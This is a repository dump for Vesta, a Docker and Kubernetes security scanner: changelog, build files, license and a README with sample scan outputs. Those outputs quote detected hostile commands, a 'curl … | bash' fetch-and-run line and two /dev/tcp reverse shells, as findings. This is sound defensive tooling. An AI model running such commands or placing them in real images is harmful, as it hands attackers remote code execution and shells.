[
  {
    "path": ".gitignore",
    "content": "# Binaries for programs and plugins\n*.exe\n*.exe~\n*.dll\n*.so\n*.dylib\n\n\n# Test binary, built with `go test -c`\n*.test\n\n# Output of the go coverage tool, specifically when used with LiteIDE\n*.out\n\n# Dependency directories (remove the comment below to include it)\n# vendor/\n\n.DS_Store\n.idea/\noutput/\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# 1.0.11 (2024.7.22)\n## features\n- Add checking of `CVE-2025-1974` nginx ingress RCE\n\n## improvements\n- Add adaptive scanning for image scanning after Docker Version 25.0.0\n\n## fixed\n- Fixed the empty value of inside ctx\n- Check the length in pod container \n- Fixed the circumstance of when ETCD is not in kube-system\n- Add insecure opetions for kubeconfig login\n\n# 1.0.10 (2024.2.2)\n## features\n- Add checking of `CVE-2024-21626`\n- Add checking of `CVE-2024-3094` liblzma.so backdoor\n\n## improvements\n- Add the severity of each Linux capabilities\n\n# 1.0.9 (2023.8.8)\n## features\n- Add account checking in `/etc/passwd`\n- Add filesystem scanning\n- Add checking of ingress nginx\n- Add BearerToken for authentication\n- Add insecure and server flags in k8s analysis\n- Add environment checking in docker images\n\n## improvements\n- Add the counter of each severity \n- Add some rules of annotation checking\n- Delete the inside flag due to duplicate\n- Add `.dockerconfigjson` in secret checking\n- Add Docker Histories environment checking\n- Add the date of kernel compiling checking in checking of kernel version\n- Add the error output in image saving\n\n## fixed\n- Fix the out of range in container extract\n\n\n# 1.0.8 (2023.6.6)\n## features\n- Add dangerous image used checking in Docker\n- Add Docker Swarm Service checking\n- Add checking of ephemeral-storage usage\n\n## improvements\n- Annotate the tag of image checking\n\n## improvements\n- Add unauthorized kubelet checking for each node\n- Add support of k3s and k0s\n\n## fixed\n- fix the error of compared version\n- fix the error of parameter input in file scan\n\n# 1.0.7 (2023.4.1)\n## features\n- Add trampoline attacking check\n- Add malicious value checking in docker history\n- Add source `OSCS` for malware checking\n- Add Windows path Volume checking\n\n# 1.0.6 (2023.3.2)\n## features\n- Add Kubernetes `DaemonSet` checking\n- Add rootkit and backdoor checking in K8s and Docker\n- Add k8s version checking\n- Add k8s `PodSecurityPolicy` checking for k8s version under the v1.25\n\n## improvements\n- Add some rules for CAP checking\n- Change the namespace checking of Secret and ConfigMap\n- Improve the rules of `DeamonSet` scanning\n- Change the scan rules of `Job` and `CronJob`\n- Optimize the method of annotation checking\n\n## fixed\n- fix the comparison of kernel version\n- fix the errors of base64 decode\n\n# 1.0.5 (2023.2.13)\n## features\n- Add Docker `--pid=host` checking\n- Add Python pip analysis from poetry and venv\n\n## improvements\n- Change the minimum of downloaded vulnerable data year from 2002 to 2010\n- Parse the env command in Docker Histories\n- Rewrite method of java libraries, especially log4j\n- Change the format of output of image scan\n\n# 1.0.4 (2023.1.16)\n## features\n- Add sidecar Environment Checking, including `Env` and `EnvFrom`\n- Add pip name checking, detect whether package is potential malware\n- Add pod annotation checking\n\n## improvements\n- Change method of rpm analysis\n- Change folder structure\n- Change method of kernel version checking\n- Change command `upgrade` to `update`\n\n# 1.0.3 (2023.1.3)\n## features\n- Add java libraries analysis\n- Add php libraries analysis\n- Add rust libraries analysis\n- Add istio checking\n- Add Docker history analysis\n\n## improvements\n- Change the method of npm analysis\n- Add mount filesystem for container scan\n- Change method of cilium checking\n- Change the method of image scanning\n- Add RBAC User output for untrusted User checking\n- Revise the rules of RBAC checking\n\n## fixed\n- Fixed error of version comparison\n\n# 1.0.2 (2022.12.24)\n## features\n- Add cilium checking\n- Add Kubelet `read-only-port` and `kubectl proxy` checking \n- Add Etcd safe configuration checking\n- Add RoleBinding checking\n- Optimize layer integration\n- Add go binary analysis\n\n# 1.0.1 (2022.12.13)\n## features\n- Add weak password checking in Configmap and Secret\n- Add weak password checking in Docker env\n- Add `--skip` parameter for image or container scanning\n- Add Envoy admin checking\n\n# 1.0.0 (2022.12.4)\n## features\n- Image or Container scan\n- Docker configuration scan\n- Kubernetes configuration scan\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM golang:1.20 as builder\nWORKDIR /build\nCOPY . .\nENV GOOS=linux CGO_ENABLED=1\nRUN make build.unix\n\nFROM alpine:3.17.3\nWORKDIR /tool\nCOPY --from=builder /build/vesta .\nRUN chmod +x /tool/vesta\nENTRYPOINT [\"./vesta\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "\n                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License."
  },
  {
    "path": "Makefile",
    "content": "LDFLAGS := -ldflags '-s -w'\nTAGS := -tags netgo\nLDFLAGS_STATIC := -ldflags '-w -s -extldflags \"-static\"'\n\nIMAGE_TAG := latest\nAPP := kvesta/vesta\n\n.PHONY: build\nbuild:\n\tgo build $(LDFLAGS) ./cmd/vesta\n\n.PHONY: build.unix\nbuild.unix:\n\tgo build $(TAGS) $(LDFLAGS_STATIC) ./cmd/vesta\n\n.PHONY: clean\nclean:\n\trm vesta\n\n.PHONY: build.docker\nbuild.docker:\n\tdocker build -t $(APP):$(IMAGE_TAG) .\n\n.PHONY: run.docker\nrun.docker:\n\tdocker run --rm -ti --name vesta --network host -v `pwd`:/tool/output/ -v /var/run/docker.sock:/var/run/docker.sock ${APP}:${IMAGE_TAG} analyze docker"
  },
  {
    "path": "README.md",
    "content": "<p align=\"center\" style=\"text-align: center\">\n    <img src=\"https://user-images.githubusercontent.com/35037256/212051309-56468d85-4132-4780-9722-d1c0dcc79b1b.png\" width=\"55%\">\n<br/>\n</p>\n\n<p align=\"center\">\n  A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing.\n</p>\n\n<div align=\"center\">\n<strong>\n<samp>\n\n[English](README.md) · [简体中文](README.zh-Hans.md)\n\n</samp>\n</strong>\n</div>\n\n## Overview\n\nVesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects Kubernetes and Docker configures,\ncluster pods, and containers with safe practices.\n<br/>\n<br/>\nVesta is a flexible toolkit which can run on physical machines in different types of systems (Windows, Linux, MacOS).\n\n## What can vesta check\n\n> Scan\n- Support scanning input\n  - image\n  - container\n  - filesystem\n  - vm (TODO)\n- Scan the vulnerabilities of major package managements\n  - apt/apt-get\n  - rpm\n  - yum\n  - dpkg\n- Scan malicious packages and vulnerabilities of language-specific packages\n  - Java(Jar, War. major library: log4j)\n  - NodeJs(NPM, YARN)\n  - Python(Wheel, Poetry)\n  - Golang(Go binary)\n  - PHP(Composer, major frameworks: laravel, thinkphp, wordpress, wordpress plugins etc)\n  - Rust(Rust binary)\n  - Others(Others vulnerable which will cause a potential container escape and check suspicious poison image)\n\n> Docker\n\n| Supported | Check Item                | Description                                                            | Severity                  | Reference                                                                                   |\n|-----------|---------------------------|------------------------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------|\n| ✔         | PrivilegeAllowed          | Privileged module is allowed.                                          | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) |\n| ✔         | Capabilities              | Dangerous capabilities are opening.                                    | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | \n| ✔         | Volume Mount              | Mount dangerous location.                                              | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References)                |\n| ✔         | Docker Unauthorized       | 2375 port is opening and unauthorized.                                 | critical                  | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md)       |\n| ✔         | Kernel version            | Kernel version is under the escape version.                            | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References)                       |\n| ✔         | Network Module            | Net Module is `host` and containerd version less than 1.41.            | critical/medium           |                                                                                             |\n| ✔         | Pid Module                | Pid Module is `host`.                                                  | high                      |                                                                                             |\n| ✔         | Docker Server version     | Server version is included the vulnerable version.                     | critical/high/ medium/low |                                                                                             |\n| ✔         | Docker env password check | Check weak password in database.                                       | high/medium               |                                                                                             |\n| ✔         | Docker History            | Docker layers and environment have some  dangerous commands.           | high/medium               |                                                                                             |\n| ✔         | Docker Backdoor           | Docker env command has malicious commands.                             | critical/high             |                                                                                             |\n| ✔         | Docker Swarm              | Docker swarm has dangerous config or secrets or containers are unsafe. | medium/low                |                                                                                             |\n| ✔         | Docker supply chain       | Docker supply chain has vulnerable configurations                      | critical/high/ medium     | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References)         |\n\n---\n\n\n> Kubernetes\n\n| Supported | Check Item                                               | Description                                                                | Severity                  | Reference                                                                                           |\n|-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------|\n| ✔         | PrivilegeAllowed                                         | Privileged module is allowed.                                              | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References)         |\n| ✔         | Capabilities                                             | Dangerous capabilities are opening.                                        | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References)         |\n| ✔         | PV and PVC                                               | PV is mounted the dangerous location and is active.                        | critical/medium           | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References)                        |\n| ✔         | RBAC                                                     | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning  |                                                                                                     |\n| ✔         | Kubernetes-dashborad                                     | Checking `-enable-skip-login` and account permission.                      | critical/high/low         | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca)                    |\n| ✔         | Kernel version                                           | Kernel version is under the escape version.                                | critical                  | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References)                               |\n| ✔         | Docker Server version  (k8s versions is less than v1.24) | Server version is included the vulnerable version.                         | critical/high/ medium/low |                                                                                                     |\n| ✔         | Kubernetes certification expiration                      | Certification is expired after 30 days.                                    | medium                    |                                                                                                     |\n| ✔         | ConfigMap and Secret check                               | Check weak password in ConfigMap or Secret.                                | high/medium/low           | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References)                |\n| ✔         | PodSecurityPolicy check (k8s version under the v1.25)    | PodSecurityPolicy tolerates dangerous pod configurations.                  | high/medium/low           | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) |\n| ✔         | Auto Mount ServiceAccount Token                          | Mounting default service token.                                            | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)          |\n| ✔         | NoResourceLimits                                         | No resource limits are set.                                                | low                       | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References)                 |\n| ✔         | Job and Cronjob                                          | No seccomp or seLinux are set in Job or CronJob.                           | low                       | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/)          |\n| ✔         | Envoy admin                                              | Envoy admin is opening and listen to `0.0.0.0`.                            | high/medium               | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin)                    |\n| ✔         | Cilium version                                           | Cilium has vulnerable version.                                             | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium)                         |\n| ✔         | Istio configurations                                     | Istio has vulnerable version and vulnerable configurations.                | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/)                                                       |\n| ✔         | Kubelet 10250/10255 and Kubectl proxy                    | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low           |                                                                                                     |\n| ✔         | Etcd configuration                                       | Etcd safe configuration checking.                                          | high/medium               |                                                                                                     |\n| ✔         | Sidecar configurations                                   | Sidecar has some dangerous configurations.                                 | critical/high/ medium/low |                                                                                                     |\n| ✔         | Pod annotation                                           | Pod annotation has some unsafe configurations.                             | high/medium/ low/warning  | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References)                          | \n| ✔         | DaemonSet                                                | DaemonSet has unsafe configurations.                                       | critical/high/ medium/low |                                                                                                     |\n| ✔         | Backdoor                                                 | Backdoor Detection.                                                        | critical/high             | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection)                                      |\n| ✔         | Lateral admin movement                                   | Pod specifics a master node.                                               | medium/low                |                                                                                                     |\n\n\n\n## Build\n\nVesta is built with Go 1.18. \n\n```bash\nmake build\n```\n\n## Quick Start\n\nExample of image or container scan, use `-f` to input by a tar file, start vesta:\n\n```bash\n# Container\nvesta scan image cve-2019-14234_web:latest\nvesta scan image -f example.tar\n\n# Image\nvesta scan container <CONTAINER ID>\nvesta scan container -f example.tar\n\n# Filesystem\nvesta scan fs <path_of_filesystem>\n```\n\n\nOuput:\n\n```bash\n2022/11/29 22:50:00 Searching for image\n2022/11/29 22:50:19 Begin upgrading vulnerability database\n2022/11/29 22:50:19 Vulnerability Database is already initialized\n2022/11/29 22:50:19 Begin to analyze the layer\n2022/11/29 22:50:35 Begin to scan the layer\n\nDetected 216 vulnerabilities\n\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 208 | python3.6 - Django | 2.2.3           | CVE-2019-14232   |   7.5 | high     | An issue was discovered                                          |\n|     |                    |                 |                  |       |          | in Django 1.11.x before                                          |\n|     |                    |                 |                  |       |          | 1.11.23, 2.1.x before 2.1.11,                                    |\n|     |                    |                 |                  |       |          | and 2.2.x before 2.2.4. If                                       |\n|     |                    |                 |                  |       |          | django.utils.text.Truncator's                                    |\n|     |                    |                 |                  |       |          | chars() and words() methods                                      |\n|     |                    |                 |                  |       |          | were passed the html=True                                        |\n|     |                    |                 |                  |       |          | argument, t ...                                                  |\n+-----+                    +-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 209 |                    | 2.2.3           | CVE-2019-14233   |   7.5 | high     | An issue was discovered                                          |\n|     |                    |                 |                  |       |          | in Django 1.11.x before                                          |\n|     |                    |                 |                  |       |          | 1.11.23, 2.1.x before 2.1.11,                                    |\n|     |                    |                 |                  |       |          | and 2.2.x before 2.2.4.                                          |\n|     |                    |                 |                  |       |          | Due to the behaviour of                                          |\n|     |                    |                 |                  |       |          | the underlying HTMLParser,                                       |\n|     |                    |                 |                  |       |          | django.utils.html.strip_tags                                     |\n|     |                    |                 |                  |       |          | would be extremely ...                                           |\n+-----+                    +-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 210 |                    | 2.2.3           | CVE-2019-14234   |   9.8 | critical | An issue was discovered in                                       |\n|     |                    |                 |                  |       |          | Django 1.11.x before 1.11.23,                                    |\n|     |                    |                 |                  |       |          | 2.1.x before 2.1.11, and 2.2.x                                   |\n|     |                    |                 |                  |       |          | before 2.2.4. Due to an error                                    |\n|     |                    |                 |                  |       |          | in shallow key transformation,                                   |\n|     |                    |                 |                  |       |          | key and index lookups for                                        |\n|     |                    |                 |                  |       |          | django.contrib.postgres.f ...                                    |\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n| 211 | python3.6 - numpy  | 1.24.2          |                  |   8.5 | high     | Malicious package is detected in                                 |\n|     |                    |                 |                  |       |          | '/usr/local/lib/python3.6/site-packages/numpy/setup.py',         |\n|     |                    |                 |                  |       |          | malicious command \"curl https://vuln.com | bash\" are             |\n|     |                    |                 |                  |       |          | detected.                                                        |\n+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+\n\nDocker Histories:\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n| ID |     NAME      | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL  |          DESCRIPTION           |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n|  1 | Image History | - / -                      | -     |   0.0 | high   | Confusion value found          |\n|    |               |                            |       |       |        | in ENV: 'command' with         |\n|    |               |                            |       |       |        | the plain text 'bash -i        |\n|    |               |                            |       |       |        | >&/dev/tcp/127.0.0.1/9999 0>&1 |\n|    |               |                            |       |       |        | '.                             |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n|  2 |               | - / -                      | -     |   0.0 | medium | Docker history has found the   |\n|    |               |                            |       |       |        | senstive environment with      |\n|    |               |                            |       |       |        | key 'SECRET_KEY' and value:    |\n|    |               |                            |       |       |        | 123456.                        |\n+----+---------------+----------------------------+-------+-------+--------+--------------------------------+\n\n```\n\n<details>\n<summary>Result</summary>\n\n![](https://user-images.githubusercontent.com/35037256/212480788-b2c77ff4-e484-49f8-b283-b0347de7d646.gif)\n\n</details>\n\nExample of docker config scan, start vesta:\n\n```bash\nvesta analyze docker\n```\n\nOr run with dokcer\n```bash\nmake run.docker\n```\n\nOutput:\n\n```bash\n2022/11/29 23:06:32 Start analysing\n2022/11/29 23:06:32 Getting engine version\n2022/11/29 23:06:32 Getting docker server version\n2022/11/29 23:06:32 Getting kernel version\n\nDetected 3 vulnerabilities\n\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n| ID |      CONTAINER DETAIL      |     PARAM      |             VALUE              | SEVERITY |          DESCRIPTION           |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  1 | Name: Kernel               | kernel version | 5.10.104-linuxkit              | critical | Kernel version is suffering    |\n|    | ID: None                   |                |                                |          | the CVE-2022-0492 with         |\n|    |                            |                |                                |          | CAP_SYS_ADMIN and v1           |\n|    |                            |                |                                |          | architecture of cgroups        |\n|    |                            |                |                                |          | vulnerablility, has a          |\n|    |                            |                |                                |          | potential container escape.    |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  2 | Name: vesta_vuln_test      | kernel version | 5.10.104-linuxkit              | critical | Kernel version is suffering    |\n|    | ID: 207cf8842b15           |                |                                |          | the Dirty Pipe vulnerablility, |\n|    |                            |                |                                |          | has a potential container      |\n|    |                            |                |                                |          | escape.                        |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  3 | Name: Image Tag            | Privileged     | true                           | critical | There has a potential container|\n|    | ID: None                   |                |                                |          | escape in privileged  module.  |\n|    |                            |                |                                |          |                                |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n|  4 | Name: Image Configuration  | Image History  | Image name:                    | high     | Weak password found            |\n|    | ID: None                   |                | vesta_history_test:latest |    |          | in command: ' echo             |\n|    |                            |                | Image ID: 4bc05e1e3881         |          | 'password=test123456' >        |\n|    |                            |                |                                |          | config.ini # buildkit'.        |\n+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+\n```\n\nExample of Kubernetes config scan, start vesta:\n\n```bash\nvesta analyze k8s\n```\n\nOutput:\n\n```bash\n2022/11/29 23:15:59 Start analysing\n2022/11/29 23:15:59 Getting docker server version\n2022/11/29 23:15:59 Getting kernel version\n\nDetected 4 vulnerabilities\n\nPods:\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n| ID |           POD DETAIL           |             PARAM              |             VALUE              |         TYPE          | SEVERITY |          DESCRIPTION           |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|  1 | Name: vulntest | Namespace:    | sidecar name: vulntest |       | true                           | Pod                   | critical | There has a potential          |\n|    | default | Status: Running |    | Privileged                     |                                |                       |          | container escape in privileged |\n|    | Node Name: docker-desktop      |                                |                                |                       |          | module.                        |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest |       | Token:Password123456           | Sidecar EnvFrom       | high     | Sidecar envFrom ConfigMap has  |\n|    |                                | env                            |                                |                       |          | found weak password:           |\n|    |                                |                                |                                |                       |          | 'Password123456'.              |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: sidecartest |    | MALWARE: bash -i >&            | Sidecar Env           | high     | Container 'sidecartest' finds  |\n|    |                                | env                            | /dev/tcp/10.0.0.1/8080 0>&1    |                       |          | high risk content(score:       |\n|    |                                |                                |                                |                       |          | 0.91 out of 1.0), which is a   |\n|    |                                |                                |                                |                       |          | suspect command backdoor.      |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|  2 | Name: vulntest2 | Namespace:   | sidecar name: vulntest2 |      | CAP_SYS_ADMIN                  | capabilities.add      | critical | There has a potential          |\n|    | default | Status: Running |    | capabilities                   |                                |                       |          | container escape in privileged |\n|    | Node Name: docker-desktop      |                                |                                |                       |          | module.                        |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest2 |      | true                           | kube-api-access-lcvh8 | critical | Mount service account          |\n|    |                                | automountServiceAccountToken   |                                |                       |          | and key permission are         |\n|    |                                |                                |                                |                       |          | given, which will cause a      |\n|    |                                |                                |                                |                       |          | potential container escape.    |\n|    |                                |                                |                                |                       |          | Reference clsuterRolebind:     |\n|    |                                |                                |                                |                       |          | vuln-clusterrolebinding |      |\n|    |                                |                                |                                |                       |          | roleBinding: vuln-rolebinding  |\n+    +                                +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n|    |                                | sidecar name: vulntest2 |      | cpu                            | Pod                   | low      | CPU usage is not limited.      |\n|    |                                | Resource                       |                                |                       |          |                                |\n|    |                                |                                |                                |                       |          |                                |\n+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+\n\nConfigures:\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n| ID |            TYPEL            |             PARAM              |                         VALUE                          | SEVERITY |          DESCRIPTION           |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  1 | K8s version less than v1.24 | kernel version                 | 5.10.104-linuxkit                                      | critical | Kernel version is suffering    |\n|    |                             |                                |                                                        |          | the CVE-2022-0185 with         |\n|    |                             |                                |                                                        |          | CAP_SYS_ADMIN vulnerablility,  |\n|    |                             |                                |                                                        |          | has a potential container      |\n|    |                             |                                |                                                        |          | escape.                        |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  2 | ConfigMap                   | ConfigMap Name: vulnconfig     | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high     | ConfigMap has found weak       |\n|    |                             | Namespace: default             |                                                        |          | password: 'Password123'.       |\n+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+\n|  3 | Secret                      | Secret Name: vulnsecret-auth   | password:Password123                                   | high     | Secret has found weak          |\n|    |                             | Namespace: default             |            